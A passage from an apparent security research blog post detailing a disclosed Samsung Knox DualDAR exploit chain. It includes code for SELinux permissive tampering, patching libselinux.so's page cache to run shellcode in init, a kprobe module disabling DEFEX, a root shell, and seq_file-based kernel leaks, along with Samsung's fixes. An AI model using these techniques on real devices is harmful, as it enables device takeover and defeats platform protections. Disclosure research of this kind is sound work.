unsigned long maps[EBITMAP_UNIT_NUMS];
u32 startbit;
};
Listing 15: SELinux's loaded policy and the ebitmap_node objects storing its per-domain permissive bits.
Starting from the known address of selinux_state, I follow its policy pointer to the loaded policy. The current payload resolves the numeric types of dualdar_app, init, and sec_system_init_shell, builds the required bitmap nodes in unused space following struct selinux_policy, and installs them in permissive_map. New access decisions for these domains are then marked permissive. SELinux may already have cached earlier decisions, so the payload also updates the relevant entries in the Access Vector Cache (AVC). The global enforcing flag remains set.
Sidestepping RKP: Patch the Page Cache
The remaining problem is to obtain execution as root without writing to anything RKP protects. RKP write-protects the kernel’s page tables and selected kernel objects such as cred. The page cache, i.e., the kernel's in-memory copy of file contents, lies outside that set and stays writable through the physical primitive. It is also shared across privilege levels: when several processes map code from the same shared library, their mappings refer to the same physical pages (see Figure 7). So, an unprivileged process and init execute libselinux.so from one physical copy. Patching that copy changes the code every mapping process runs, including init.
Figure 7: An unprivileged process and init map the same code from libselinux.so. Their separate virtual mappings refer to one physical page in the file's page cache.
The target function is selinux_check_access in /system/lib64/libselinux.so. The init process, which runs as UID 0 in u:r:init:s0, calls this function while handling a rejected property update. After replacing the function entry with shellcode, the payload invokes __system_property_set("ro.kernel.x", "1") to trigger execution inside init.
To locate this page, I use the kernel read primitive to follow the objects connecting my process's file-descriptor table to the library's page cache (see Listing 16).
// include/linux (compacted)
struct task_struct {
[...]
struct files_struct *files;
};
struct files_struct {
[...]
struct fdtable __rcu *fdt;
};
struct fdtable {
unsigned int max_fds;
struct file __rcu **fd;
[...]
};
struct file {
[...]
struct inode *f_inode;
};
struct inode {
[...]
struct address_space *i_mapping;
};
struct address_space {
[...]
struct xarray i_pages;
};
struct xarray {
[...]
void __rcu *xa_head;
};
struct xa_node {
unsigned char shift;
[...]
void __rcu *slots[XA_CHUNK_SIZE];
[...]
};
Listing 16: The relevant kernel structures on the Galaxy S26 Ultra (SM-S948B, Linux 6.12.30). They connect a task's file-descriptor table to the file's page cache, whose entries are stored in the i_pages XArray.
Opening libselinux.so gives me a file descriptor from which I can reach the library's page cache through the structures in Listings 16 and 17. To locate selinux_check_access, I use its file offset shifted by PAGE_SHIFT as the index into i_pages. The helper xa_load_via_kread walks the XArray from xa_head, using each node's shift field to select the next slot. The resulting struct page * identifies the physical page that I patch through the pipe primitive (see Listing 17).
// payload.c (compacted)
int fd = open("/system/lib64/libselinux.so", O_RDONLY);
file = kread(our_task->files->fdt->fd[fd]);
mapping = kread(file->f_inode->i_mapping);
page = xa_load_via_kread(&mapping->i_pages, SELINUX_CHECK_ACCESS_OFF >> PAGE_SHIFT);
phys = ((page - VMEMMAP_BASE) / sizeof(struct page)) << PAGE_SHIFT;
arb_p_write(phys + (SELINUX_CHECK_ACCESS_OFF & 0xfff), shellcode, sizeof(shellcode));
__system_property_set("ro.kernel.x", "1"); // init -> selinux_check_access -> shellcode
Listing 17: Resolving the page-cache page behind selinux_check_access and patching it in place on the Galaxy S26 Ultra (SM-S948B, Linux 6.12.30).
The injected code checks for UID 0, uses a one-shot lock, and forks so that init can return. I first used this code execution to load a kernel module that disables DEFEX, as described below. Once I have confirmed that the module is loaded, I inject a second payload whose child connects to the app at 127.0.0.1:47474 and executes /system/bin/sh. The demonstration app uses INTERNET for this loopback terminal, while the exploit itself requires no Android permissions. The shell retains UID 0 and GID 0. On the tested S26 builds, executing /system/bin/sh transitions it into the sec_system_init_shell SELinux domain, which is why the current payload also makes that domain permissive.
Defeating DEFEX
Code execution inside init does not by itself remove DEFEX's system-call restrictions. Samsung routes these checks through task_defex_enforce (see Listing 18). The function builds a DEFEX context for the operation and runs the enabled policy checks. If one rejects the operation, the system call can fail even when the caller has UID 0.
// security/samsung/defex_lsm/core/defex_main.c
int task_defex_enforce(struct task_struct *p, struct file *f, int syscall, ...)
{
if (!p || [...])
return DEFEX_ALLOW; // early-out
[...]
check_ped(&dc, p, ...); // privilege-escalation detector
check_integrity(&dc, p, ...); // file integrity
check_immutable_root(&dc, ...); // protected root
check_trusted_map(&dc, p, ...); // trusted callers
[...]
}
Listing 18: Samsung DEFEX hooks every system call via task_defex_enforce.
To defeat DEFEX, the first injected payload uses an init child to load bypass_defex.ko through finit_module. The module registers a kprobe on task_defex_enforce. Its pre-handler sets regs->regs[0] = 0, making the first argument NULL. Every subsequent call therefore takes the early return in Listing 18, allowing the operation regardless of which task made it. After confirming that the module has loaded, I start the interactive root shell with SELinux permissive and DEFEX disabled.
Cleaning Up
The exploit temporarily changes both DualDAR policy and the page-cache contents of libselinux.so. The library bytes can be restored directly. Removing the DualDAR policy requires more care because it affects persistent filesystem metadata, live inode state, and subsequent file I/O.
The Stamping Side-Effect
For dd_submit_bio to intercept the trigger file's I/O, the file must carry the DualDAR USER_SPACE_CRYPTO policy. SELinux restricts the required FS_IOC_SET_DD_POLICY operation to installd and vold, so neither exploit process can apply it directly. Therefore, the chain uses the Stage 1 confused deputy to issue SET_DUALDAR_DO_POLICY. DualDARDaemonProxy forwards the directory updates through EnterprisePartitionManager to installd. Setup therefore consists of three relayAsync commands: START_DAEMON, SET_DUALDAR_DO_POLICY, and LOAD_CLIENT_LIBRARY.
SET_DUALDAR_DO_POLICY accepts a user ID, so its effects extend beyond the trigger directory. The service applies userspace-crypto policy to the selected credential-encrypted data and media trees, and a GID-restriction policy to device-encrypted data. The recursive operation skips existing regular files, but newly created files can inherit the policy. Since the exploit does not provision a normal DualDAR key, leaving this state in place can disrupt later file operations.
Jailbreak Model vs. Weaponized Model
For development and the jailbreak model, I run the chain in a disposable full DEMO user, which I call the guest. Applying the policy to the DEMO user affects only its directories, so the primary user's data remains outside the experiment. A shell-level setup creates the guest and installs the app. Teardown removes the guest after the exploit completes. The root shell survives because it is a child of init (see Figure 8).
Figure 8: The jailbreak model uses shell access to create and remove a disposable guest. Removing the guest deletes its stamped files, while the root process survives as a child of init.
For the weaponized model, I implemented an additional kernel module that removes the DualDAR policy in place from the user stamped by the exploit (see Figure 9). The module walks the affected user's data and media directories and identifies the inodes stamped by the exploit. For each inode, it first neutralizes the live dd_info policy, then clears the DualDAR bits in the fscrypt context and removes the dd:p xattr through the filesystem's own callbacks. Finally, it synchronizes the metadata and scans the directories again to confirm that the cleanup is complete. This restores normal file I/O.
Figure 9: The weaponized model removes the exploit's DualDAR policy in place. The cleanup module updates the live inode state and persistent filesystem metadata.
Restoring the Page Cache
The patch from Sidestepping RKP affects processes that map the same libselinux.so page. The UID check prevents unprivileged callers from running the payload, but the original bytes must still be restored after the intended invocation.
The payload saves the original library bytes before patching and restores the overwritten range approximately 20 ms after the property update. To keep longer-running work independent of this window, the injected code copies its body to a private anonymous executable mapping and continues there. The module-loading or shell payload can then finish after the shared page has been restored. The fixed delay remains a timing assumption. The chain separately confirms that the DEFEX module loaded before starting the root shell.
Portability
I developed the chain on a Magisk-rooted Galaxy S23 running Android 14 and kernel 5.15, which provided a usable monitoring environment. I then ported it to stock, bootloader-locked Galaxy S26 devices running Android 16 and kernel 6.12. The same exploit stages apply across these builds. The main differences are kernel parameters, library offsets, and a small amount of version-specific code.
Build-Specific Parameters
Table 1 summarizes the differences for the four tested devices.
| Device | Chipset | Bug 1 | Bug 2 | Sync | Kernel R/W | SELinux | page-cache lookup | root | DEFEX | cleanup |
|---|---|---|---|---|---|---|---|---|---|---|
S23 5.15 | Snapdragon 8 Gen 2 | id. | id. | id. | K | K | 5.15 | L | id. | 5.15 |
S26 EU 6.12 | Exynos 2600 | id. | id. | id. | K | K | 6.12 | L | id. | 6.12 |
S26 US 6.12 | Snapdragon 8 Elite Gen 5 | id. | id. | id. | K | K | 6.12 | L | id. | 6.12 |
S26 Ultra 6.12 | Snapdragon 8 Elite Gen 5 | id. | id. | id. | K | K | 6.12 | L | id. | 6.12 |
Table 1: Tested chipsets and per-build differences. The Snapdragon entries refer to the for Galaxy variants. id. = unchanged exploit logic; K = kernel-specific parameters; L = libselinux.so offsets; 5.15/6.12 = kernel-version-specific code.
The differences fall into three categories. First, both vulnerabilities, the inotify synchronization, and the DEFEX kprobe use the same logic across the tested builds. Second, the kernel-memory primitives and privilege escalation need per-build parameters. These include symbol offsets such as anon_pipe_buf_ops, selinux_state, and init_task, structure-field offsets, memory-layout constants, and the libselinux.so patch location. The matching firmware and kernel image provide most of these values offline. Third, the page-cache lookup in Listing 17 and the inode walk used by cleanup need adjustments for the 5.15 and 6.12 data-structure layouts.
Porting therefore mainly required a new parameter table, the appropriate page-cache and inode-walk implementation, and a kernel module built for the target. The two vulnerabilities and the overall trigger, reclaim, and privilege-escalation strategy remained unchanged.
Recovering Kernel Offsets with seq_file
An arbitrary kernel virtual read provides another way to recover LOAD_PA for the current boot, without testing candidate physical bases. I used this approach during development on a locked device.
The target object is struct seq_file, which backs many /proc interfaces. Opening a batch of single-entry files allocates these objects from the dedicated seq_file slab cache. The development path reuses the page UAF and changes the second reclaim to a seq_file slab. Alternatively, I can use the alias over a pipe_buffer slab page to duplicate one buffer’s page pointer. I then free the data page through one pipe and reclaim it as a seq_file slab still accessible through the other. Both methods give me read/write access to a live seq_file (see Listing 19).
// include/linux/seq_file.h
struct seq_file {
char *buf; // output buffer in kernel virtual memory
size_t size;
size_t from, count; // read() copies count bytes from buf + from
[...]
loff_t read_pos; // expected file position
[...]
const struct seq_operations *op;
[...]
};
Listing 19: struct seq_file. Forging its buffer state provides a kernel virtual read through the backing fd.
The buf field contains a kernel virtual address. To read n bytes, the file position must be nonzero and agree with read_pos. I set buf to the target address, from to zero, and count to n + 1. Reading n bytes then leaves one byte pending, so the kernel returns without invoking the normal iterator callbacks. I restore the saved state afterward. This provides a kernel virtual read without first translating the address to physical memory. Kernel usercopy checks still apply.
// include/linux/seq_file.h
struct seq_operations {
void *(*start)(struct seq_file *, loff_t *);
void (*stop) (struct seq_file *, void *); // == single_stop for single_open() files
void *(*next) (struct seq_file *, void *, loff_t *);
int (*show) (struct seq_file *, void *);
};
Listing 20: struct seq_operations, the table seq_file->op points at. Its stop member is a kernel-text pointer.
The op field points to the callback table in Listing 20. For a seq_file created by single_open, op->stop points to single_stop in kernel text. Reading op through the alias and then reading op->stop discloses this function's address. Given its offset in the matching image, kimage_va = single_stop - single_stop_offset. The payload then reads kimage_voffset at its known image offset and calculates LOAD_PA = kimage_va - kimage_voffset.
The virtual-read primitive also permits recovery of symbol offsets from the running kernel's kallsyms data. I tested this in a separate experiment on the S26 Ultra's AZG5 kernel. A diagnostic module provided an alias to a live /proc/cpuinfo seq_file and the bounds to read. Through 227 forged reads, I obtained 14,852,095 bytes of .rodata and decoded 128,307 symbols. Their names, types, and ordering matched the running kernel's redacted /proc/kallsyms. Recovering these tables reduces the symbol-offset information needed when porting. The existing LOAD_PA path still uses known single_stop and kimage_voffset offsets, while structure layouts require their own per-build information.
The virtual-read primitive also lets me recover symbol offsets from the running kernel’s kallsyms tables. The kernel stores compressed symbol names together with their relative address offsets. After locating and decoding these tables in .rodata, I can recover the virtual addresses of symbols such as selinux_state and init_task.
Device Matrix
I ran the full chain on the Galaxy S23 (SM-S911B, Android 14, kernel 5.15.148), Galaxy S26 EU (SM-S942B), Galaxy S26 US (SM-S942U), and Galaxy S26 Ultra (SM-S948B). The three S26 devices run Android 16 and kernel 6.12. The EU model uses Exynos, while the US model, Ultra, and S23 use Snapdragon. All four reached root from a zero-permission app. The S26 devices had locked bootloaders and green verified-boot state, while the S23 was the rooted development device.
I also compared Samsung's released security/ddar/dd_core.c sources and the firmware for the S26 Ultra (SM-S948B) and Z Fold8 (SM-F971B). The comparison confirmed that both vulnerabilities also affect the Z Fold8, showing that the affected code is shared across Galaxy S and Z devices.
Samsung's Fixes
I reported the chain to Samsung on 17 June 2026. Samsung addressed the two stages separately: the asynchronous Binder relay in the August release, followed by the metadata-page lifetime error in the September release. The latter is tracked as CVE-2026-21102 / SVE-2026-3092.
For Stage 1, the relevant change is where the caller is checked. In the vulnerable version, the command reaches the UID gate only after it has moved onto the background handler. In the updated DualDARComnService.relayAsync, the service reads Binder.getCallingUid() while it is still handling the incoming transaction and rejects callers whose app ID is neither 1000 nor 5250. It also passes the captured UID to the background task (see Listing 21). An ordinary app therefore cannot reach the old asynchronous confused-deputy path simply by submitting a daemon command.
// DualDARComnService.relayAsync, AZHL services.jar (compacted)
int caller = Binder.getCallingUid();
if (UserHandle.getAppId(caller) != Process.myUid()
&& UserHandle.getAppId(caller) != 5250)
throw new SecurityException("Caller not allowed");
mBackgroundHandler.post(() ->
SystemProxyAgent.getInstance(mContext).relay(caller, svc, cmd, params));
Listing 21: The updated relay checks the original Binder caller before posting the command and carries that identity into the background task.
The kernel fix addresses the lifetime mismatch itself. In the S26 Ultra's BZIG kernel image, the metadata-page path first removes the old mapping at the selected slot and then uses vm_insert_page instead of remap_pfn_range. The inode teardown also releases mdpage through the equivalent of put_page, rather than directly returning the allocation with __free_page. Unlike the original raw-PFN mapping, the inserted page has a normal mapping reference. Dropping the inode's reference is therefore no longer sufficient to free a page that remains mapped into the daemon. Listing 22 summarizes the change, where the code is reconstructed from the firmware's disassembly.
// Metadata mapping and inode teardown, BZIG (equivalent pseudocode)
zap_vma_ptes(proc->metadata_vma, metadata_slot, PAGE_SIZE);
vm_insert_page(proc->metadata_vma, metadata_slot, mdpage);
// When dd_info drops its final reference:
put_page(info->mdpage);
Listing 22: The metadata mapping now participates in the physical page's reference counting.
Conclusion
In this post, I applied the OEMpocalypse strategy to Samsung's Knox DualDAR. I combined a confused-deputy vulnerability in the system service with a page UAF in the kernel driver to obtain root from a zero-permission app. The first vulnerability makes the kernel driver reachable, while the second leaves a readable and writable mapping to a freed physical page. Reclaiming this page with pipe_buffer objects gives the exploit arbitrary kernel read/write. I then used this primitive to overcome Samsung's additional kernel defenses and obtain privileged execution.
These results demonstrate that subsystems can introduce additional attack surfaces and can be valuable exploitation targets. DualDAR is intended to protect data, yet its userspace service and kernel driver together provide a reliable and generic path to root. Since Samsung reuses this subsystem across generations and chipsets, the vulnerabilities affect Galaxy S and Z flagship devices. This reuse also allows substantial parts of an exploit chain to carry over between those devices.
These results also let me assess the strategy against the three properties introduced in Part 1. For reliability, the trigger requires no race and both reclaim steps can be verified and retried. For portability, the same trigger and reclaim strategy worked across Snapdragon and Exynos devices running kernels 5.15 and 6.12. Porting mainly required matching offsets and structure layouts. For universality, my analysis indicates that both vulnerabilities affect Samsung's Galaxy S and Z flagship series, giving the chain broad coverage within Samsung's flagship range.
The chain also shows how hypervisor-based defenses such as RKP and KDP can be sidestepped once an attacker has arbitrary kernel read/write. The primitive must still obey the hypervisor's restrictions, so I target memory outside the protected regions. I modify SELinux policy data in the kernel heap to make the required domains permissive. I then patch the page-cache copy of a library used by init, causing it to execute my payload with its existing root privileges. The protected task credentials never need to change. The DEFEX bypass was particularly surprising because I could load an unsigned kernel module on the stock devices. Android's GKI module model permits unsigned vendor modules and relies on verified partitions for their authenticity. After obtaining code execution in init and removing the relevant SELinux restrictions, I loaded bypass_defex.ko. The module's kprobe forces task_defex_enforce to allow every call, disabling DEFEX globally.
This post covered the Samsung instantiation of the strategy. The series will continue with Part 3, where I apply it to Xiaomi, and Part 4, where I cover Oppo, OnePlus, and Realme. If you find this work interesting, have questions, or notice technical inaccuracies, feel free to contact me at lukas.maar@calif.io.
About Calif
We push offensive security research to its limits, understand what is becoming possible with AI, and use those insights to help our customers defend themselves.
Get in touch, and subscribe to our newsletter for more research like this:
Check your inbox to confirm.